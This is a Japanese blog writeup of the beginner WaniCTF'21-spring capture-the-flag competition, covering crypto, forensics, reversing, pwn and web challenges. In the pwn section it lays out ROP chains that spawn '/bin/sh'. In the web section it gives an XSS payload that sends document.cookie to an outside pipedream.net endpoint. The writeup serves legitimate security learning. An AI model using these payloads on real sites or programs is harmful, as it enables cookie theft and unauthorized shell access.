WaniCTF'21-spring こんなんでいいのか？ writeup

各所で`pal4de`と名乗っているものです。

2021/4/30 - 5/1に開催された、大阪大学のCTFサークル「**Wani Hackase**」主催の初心者向けCTF、**[WaniCTF'21-spring](https://wanictf.org/)**に、CTFほぼ初参戦というつもりで臨みました。
その上Qiitaも初投稿という事態

writeupというよりかは感想になってます。
こんなんでいいのか？

[**公式writeupはコチラ**](https://github.com/wani-hackase/wanictf21spring-writeup)

## 最終結果

4197pt、400人ぐらい中の44位でした。

3日間割とまんべんなく解いたり調べものしてたりしてました。
初めましての人ばかりだったので。。。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/337174/a72677e7-f4dd-38ef-0591-0c0e040dc070.png)

## Crypto

大学で暗号的な雰囲気に曝されていたおかげで解けた部分もある。

### Simple conversion
整数化された文字列を復元する問題。

16進数の文字列に直してからバイト列にしてます。
もっといい書き方教えてください。

```python:solve.py
problem = 709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229
problem_bytes = bytes.fromhex(f'{problem:x}')
print(problem_bytes.decode('utf-8'))
```

### easy

隠されたパラメータA, Bを用いて`e = (A * p + B) % 26`という形でズラして暗号化されているので復号する問題。

あんまeasyではなかった。
`FLAG`と`HLIM`のascii位置を手計算で比較してA, Bを求める。

あとはこのパラメータをもとに復号する。
`(crypted - B) / A = plain mod 26`という感じ。

```python:solve.py
encrypted = r'HLIM{OCLSAQCZASPYFZASRILLCVMC}'
encrypted_byte = bytearray()

A = 5
A_inv = 21
B = 8

for c in encrypted:
    if 'A' <= c <= 'Z':
        c = ord(c) - ord('A')
        c = ((c - B) * A_inv) % 26
        c = chr(c + ord('A'))
    print(c, end='')
```


### Can't restore the flag?

ユーザー入力`n`に対して`FLAG % n`を教えてくれるので、そこからFLAGを手に入れる問題。

1-300まで返事をしてくれるそうなのでとりあえず全部保存する。
手計算をしてようやく`X % n = r`を満たす数は`lcm(1..n) * i + b`で表せそうであるとわかった。
ここで`b`は`n-1`についての条件を満たす中の、`b % n = r`となる最小の数。
これを300までやって出た`b`がFLAG。

```python:solve.py
import math
import pathlib

with open(pathlib.Path(__file__).parent / 'response.txt', 'r') as file:
    a, b = 1, 0
    for n, r_str in enumerate(file.readlines(), 1):
        r = int(r_str)

        i = 0
        while (a * i + b) % n != r:
            i += 1

        b = a * i + b
        a = math.lcm(a, n)

    print(bytes.fromhex(f'{b:x}'))
```

### extra
RSA暗号の過程で`N = pq`とは別に`M = 2p + q`が与えられるので、これをヒントに復号する問題。

暗号化に際しては`M`は余計なのでこれと`N`とをコネコネするんだろうなとは思った。

まさかただの2次方程式だったとは。。。。。

### OUCS
準同型暗号「OUCS」で暗号化されたFLAGを解読する問題。

「準同型」を意味する英単語を知っておわった。

## Forensics
経験の数がモノを言いそうな分野という印象があり、初めてながら苦手意識があった。

### presentation
`presentation.ppsx`が与えられる。

サムネイルがPowerPointだったので、zipとして解凍して1枚目のスライドのxmlを探し出した。

### MixedUSB
`MixedUSB.img`が与えられる。

手元のいらないUSBを用意してみたりもしたが、試しに走らせてみた`strings MixedUSB.img`で終わってしまった。

### secure document
`flag_20210428.zip`と`password-generator`が与えられる。

`password-generator`の中身がなんかAutoHotKeyっぽいなと思ったらビンゴ。
HotStringという機能が使われていたらしい。

日付部分をzipファイル自体の更新日時に変えて解凍。

たまたまAutoHotKeyユーザーだったからよかったけどMacだったら詰んでたかもな

### illigal image
`illegal_image.pcap`が与えられ、そこから画像を抽出する問題。
`pcap`はWiresharkのファイルだった。

あまりに行が多く、遠慮した。

### slow
`slow.wav`が与えられる。

Audacityなど色々音声をいじれそうなものを入れ、テンポをいじってみたりスペクトルを見てみたりしたが解けず。
なにもわからない。

## Misc
唯一完全回答できた部門。
明らかに難易度が全部Normal以下だったおかげである。

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">そのほかの王、pal4deです<br>どうぞよろしく<a href="https://t.co/bSPSz3czJt">https://t.co/bSPSz3czJt</a><a href="https://twitter.com/hashtag/wanictf?src=hash&amp;ref_src=twsrc%5Etfw">#wanictf</a> <a href="https://t.co/WUxL3cKYRr">pic.twitter.com/WUxL3cKYRr</a></p>&mdash; pal4de (@pal4de) <a href="https://twitter.com/pal4de/status/1388827021481058308?ref_src=twsrc%5Etfw">May 2, 2021</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

### binary
二進数の値を文字列に戻す問題。

```python:solve.py
import os

with open(os.path.dirname(__file__) +'/binary.csv') as file:
    encrypted = file.read().replace('\n', '')
    encrypted_bytes = bytes.fromhex(f'{int(encrypted, 2):x}')
    print(encrypted_bytes.decode('utf-8'))
```

### Automaton Lab.
*Rule 30*というオートマトンの予測を行う問題。

Wikipediaをみて簡単に実装して2つ目まで突破。
3つ目は素直な実装では間に合わないが、15bitで収まりきらない数値だったためループしてるだろと当たりを付け、ループが始まる点を見つけて解決。

```python:solve.py
gen = list()
gen.append(input('first gen?: '))

target = int(input('taget gen?: '))

next_bit_dict = {
    '111': '0',
    '110': '0',
    '101': '0',
    '100': '1',
    '011': '1',
    '010': '1',
    '001': '1',
    '000': '0',
}

def nth_char(s, n):
    return s[n % len(s)]

print(0, gen[0])
while len(gen) - 1 < target:
    next_gen = ''
    for i in range(len(gen[0])):
        current_pattern = nth_char(gen[-1], i - 1)
        current_pattern += nth_char(gen[-1], i)
        current_pattern += nth_char(gen[-1], i + 1)
        next_gen += next_bit_dict[current_pattern]

    gen.append(next_gen)
    print(len(gen) - 1, next_gen)
    if next_gen in gen[:-1]:
        offset = gen.index(next_gen)
        stop = len(gen) - 1

        print('matched!')
        print(f'1st: {offset}')
        print(f'2nd: {stop}')

        target_reduced = (target - offset) % (stop - offset)
        print('final:', gen[offset + target_reduced])
        exit()
```

### Git Master
コミットログからFLAGを探し出す問題。

`/var/www/`にリポジトリがある。
`git`が無いのでインストールするところから。

FLAGっぽいファイルについて`FLAG{you_`、`_master}`みたいなのが出てきて、アンダースコア、ダブってない？？と思いながら送信してみたものの不正解。
master？ブランチのことか？と思ってブランチを見てみると`temporary`ブランチが出てきた。

`you_`と`_master`の間にも一つコミットがあったので解決。
結果オーライ。

### ASK
ASK (Amplitude Shift Keying) を復号する問題。

下のManchesterと同じように周期を取ってその分だけ0と1を交互に繰り返し。
うまいことデコードできてないかもしれないけどいいや

```python:solve.py
import os
import itertools

with open(os.path.dirname(__file__) +'/ask.csv') as file:
    encoded = file.read().replace('\n', '')
    encoded_grouped = itertools.groupby(encoded)

    length_list = [len(list(values)) for _, values in encoded_grouped]
    period = min(length_list)
    print(length_list)

    decoded_bin = ''
    bit = int(encoded[0])
    for length in length_list:
        if length <= period * 8:
            decoded_bin += str(bit) * (length // period)
        bit = 1 - bit

    decoded_bytes = bytes.fromhex(f'{int(decoded_bin, 2):x}')
    print(decoded_bytes)
```

### Manchester
マンチェスター符号を復号する問題。

前問同様、0とか1が連続しすぎているので長さを測って周期を得る。
`1→01`なのか`0→01`なのかわからなかったので両方試し、出力させてそれっぽいのが出てきたものを採用。
FLAGより前にある長ーいデータは何だったんだろう

```python:solve.py
import os
import itertools

with open(os.path.dirname(__file__) +'/manchester.csv') as file:
    encoded = file.read().replace('\n', '')
    encoded_grouped = itertools.groupby(encoded)
    period = float('inf')
    for _, group in encoded_grouped:
        period = min(period, len(list(group)))

    encoded_reduced = encoded[::period]
    encoded_reduced_pairs = zip(encoded_reduced[::2], encoded_reduced[1::2])
    decoded = ''
    for first, second in encoded_reduced_pairs:
        pattern = first + second
        if pattern == '01':
            decoded += '0'
        elif pattern == '10':
            decoded += '1'

    print(bytes.fromhex(f'{int(decoded, 2):x}'))
```

## Pwn

もっとも縁遠い部門だったかもしれない。
相当簡単に作ってもらえたんだろうなという印象を受ける。

解いていくうちにメモリ脆弱性を突いていく気持ちよさがわかり始める。
メモリ脆弱性を突くの、気持ちいい。

### 01 netcat
`nc`コマンドを使ってみる問題。

`cat`

### 03 rop machine easy
`system("/bin/sh")`を呼ぶ問題。

この時点ではよくわかっていない。
色々調べた結果、よくわからないうちに解けてしまった。

```
     rop_arena
+--------------------+
| pop rdi; ret       | <- rop start
+--------------------+
| 0x0000000000404070 | "/bin/sh"へのアドレス
+--------------------+
| system             |
+--------------------+
```

### 04 rop machine normal
ROPで`execve("/bin/sh", 0, 0)`を呼ぶ問題。

よくわからん 2

- `rdi`が第一引数
- `rsi`が第二引数
- `rdx`が第三引数
- `rax`がsyscall番号

に対応しているらしい。

ターゲットのレジスタを`pop`した直後に値を配置することで代入していけるのかなあ、程度の理解。

```
     rop_arena
+--------------------+
| pop rdi; ret       | <- rop start
+--------------------+
| 0x0000000000404070 | "/bin/sh"へのアドレス
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rax; ret       |
+--------------------+
| 0x000000000000003b |
+--------------------+
| syscall; ret       |
+--------------------+
```

### 02 free hook
脆弱性のあるメモアプリを用いてシェルを起動する問題。
`free_hook`を使おうとのヒントがある。

`free()`時に呼び出される関数へのポインタとして`__free_hook`があり、今回は既にこれが`system`を指しているので引数に`"/bin/sh"`が来るようにしたら良いっぽい。

1. n番目のメモに`/bin/sh`を書き込む。
2. n番目のメモを削除する。
3. `free("/bin/sh")` = `system("/bin/sh")`となりhappy

### 05 rop machine hard
ROPで`/bin/sh`を呼ぶ問題。
一部のgadgetが選択肢として与えられていた今までとは異なり、自分でアドレスを調べてくる必要があるが、流れは基本的に*04 rop machine normal*と同じ。

`ROPgadget`というツールで`pop rdi ; ret`などへのアドレスを調べて並べていく。
`pop rsi ; pop r15 ; ret`では2つ`pop`しているので2回`0x0`を入れてみた。
`"/bin/sh"`へのアドレスは`gdb pwn05`して`print &binsh`することで手に入る。

```
     rop_arena
+--------------------+
| 0x000000000040128f | pop rdi ; ret
+--------------------+
| 0x0000000000404078 | "/bin/sh"
+--------------------+
| 0x0000000000401611 | pop rsi ; pop r15 ; ret
+--------------------+
| 0x0000000000000000 | 0x0
+--------------------+
| 0x0000000000000000 | 0x0
+--------------------+
| 0x000000000040129c | pop rdx ; ret
+--------------------+
| 0x0000000000000000 | 0x0
+--------------------+
| 0x00000000004012a9 | pop rax ; ret
+--------------------+
| 0x000000000000003b | 0x3b
+--------------------+
| 0x00000000004012b6 | syscall
+--------------------+
```

### 06 SuperROP
案外今までのROPも突破できて楽しくなってきたので挑戦してみたものの、だいすきだった*ROPmachine*がいなくなり急に詰む。

### 07 Tower of Hanoi
ハノイの塔を解く問題？

解けていない。
*Very hard*と書いてある赤いラベルがあったので問題文はあまり気にしていない

### 08 Gacha Breaker
悪徳ガチャサービスベンダーからFLAGを盗む問題？

解けていない。
問題文はあまり気にしていない

## Reversing

VSCodeのデバッガーは使ったことあったものの、コマンドラインのgdbは初めてだったので勉強になった。Ghidraが便利というのも実感。
テックニュースでたまに見るリバースエンジニアリングを体感しているようで面白かった。

### secret
stringsで`secret`を見てみたら、`wani_is_the_coolest_animals_in_the_world!`とそれっぽいのがあったので、それがsecret keyなんだろうな...と。

```sh
$ chmod u+x ./secret
$ ./secret 

   ▄▀▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▄▄▄▄   ▄▀▀▄▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▀▀█▀▀▄
  █ █   ▐ ▐  ▄▀   ▐ █ █    ▌ █   █   █ ▐  ▄▀   ▐ █    █  ▐
     ▀▄     █▄▄▄▄▄  ▐ █      ▐  █▀▀█▀    █▄▄▄▄▄  ▐   █
  ▀▄   █    █    ▌    █       ▄▀    █    █    ▌     █
   █▀▀▀    ▄▀▄▄▄▄    ▄▀▄▄▄▄▀ █     █    ▄▀▄▄▄▄    ▄▀
   ▐       █    ▐   █     ▐  ▐     ▐    █    ▐   █
           ▐        ▐                   ▐        ▐

Input secret key : wani_is_the_coolest_animals_in_the_world!
Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}
```

### execute
cのソースコードを紛失し`main.s`と`libprint.so`のみがある、という状態からプログラムを実行する問題。

ムチャクチャ苦労した

1. .sファイルとは何か?
2. アセンブリ言語だ
3. `as`コマンドでアセンブルできるらしい
4. `libprint.so`をリンクしないといけない
5. gccでリンク？
6. おまじない(`LD_LIBRARY_PATH=.`)を付与して実行

```bash
as main.s -o main.o
gcc -o main main.o -I./ -L./ -lprint
LD_LIBRARY_PATH=. ./main
```

### timer
非常に長いカウントダウンを行うプログラムからFLAGを得る問題。

Ghidraでプログラム解析結果を見ながら、`gdb`で変数を書き換えられないか頑張る。
結果的には変数を書き換える必要はなかった。`timer`に入ったら直ちに帰ればよい。

```sh
> gdb timer
(gdb) break timer
  :
(gdb) run
  :
(gdb) return (int) 0
  :
(gdb) continue
```

### licence
非常に強力なライセンス確認処理が施されたプログラムのためにライセンスファイルを探す問題。

解けていない。

> 非常に強力な

のフレーズを見てあきらめた。

## Web

ソフトウェア開発を始めたキッカケがWebだったので自信をもって取り組んだものの、パッとしない結果となった。

### fake
ウェブサイトからFLAGを探す問題。

ソースコードを見たら`display: none`されている要素があったので解決。

### Wani Request 1
被害者の秘密のページを探す問題。

1. pipedream作る。
2. 発行されたURLを送る。
3. steps.nodejs > code > steps.nodejs.$return_value > body > headers > refferer にawsのURLがあったのでアクセス。

### exception
ウェブアプリの脆弱性を探す問題。

サーバー側のコードを見て、文字列に結合しようとしていることから送られたデータに配列などが来たらダメそうだと察する。
送信ボタンのイベントハンドラを見て直接`[]`を放り込み`fetch`、開発者ツールのNetworkから返答内容を見てゲット。

### Wani Request 2
2通りのXSSからFLAGを集める。

#### page1
パラメータがそのままDOMに取り込まれるタイプのXSS。

```<img src="hoge" onerror="fetch(`https://ena68y8fy8vnrfs.m.pipedream.net/?cookie=${document.cookie}`)">```など。

scriptタグはVue的なものにはじかれてしまうのか、うまくいかなかった。

#### page2
URLを踏むことで発動するタイプのXSS。

page1のを活用しちゃお～と、```/page1?wani=<img src="hoge" onerror="fetch(`https://ena68y8fy8vnrfs.m.pipedream.net/?cookie=${document.cookie}`)">```を試してみるが、うまくいかない。
`document.cookie`が読みだせないのか、クエリが空になっている。

~~HttpOnly属性というのがあるらしい。これがあやしい？~~
関係なかったです。勘弁してください。

TRACEメソッドもうまくいかなかった。

### watch animal
ターゲットユーザーのパスワードがFLAGになっているのでそれを探す問題。

コンテナを立ち上げて、慣れないSQLコマンドを駆使してパスワードを掘り起こしたら`FAKE`をつかまされてしまったし、そもそも`1_InitUsers.sql`に直接書いてある。

PHPを読んでみたりしたが、よくわからず。

### CloudFront Basic Auth
*AWS Cloudformation template* で構成できるウェブアプリにはBasic認証が導入されているらしい。

ながーいyamlを一通り見てあきらめた。

---

相当適当に書いていますが、楽しんでいただければ幸いです。
知らないことだらけでムチャクチャ楽しかったので、ビビらず挑戦してみよう

以上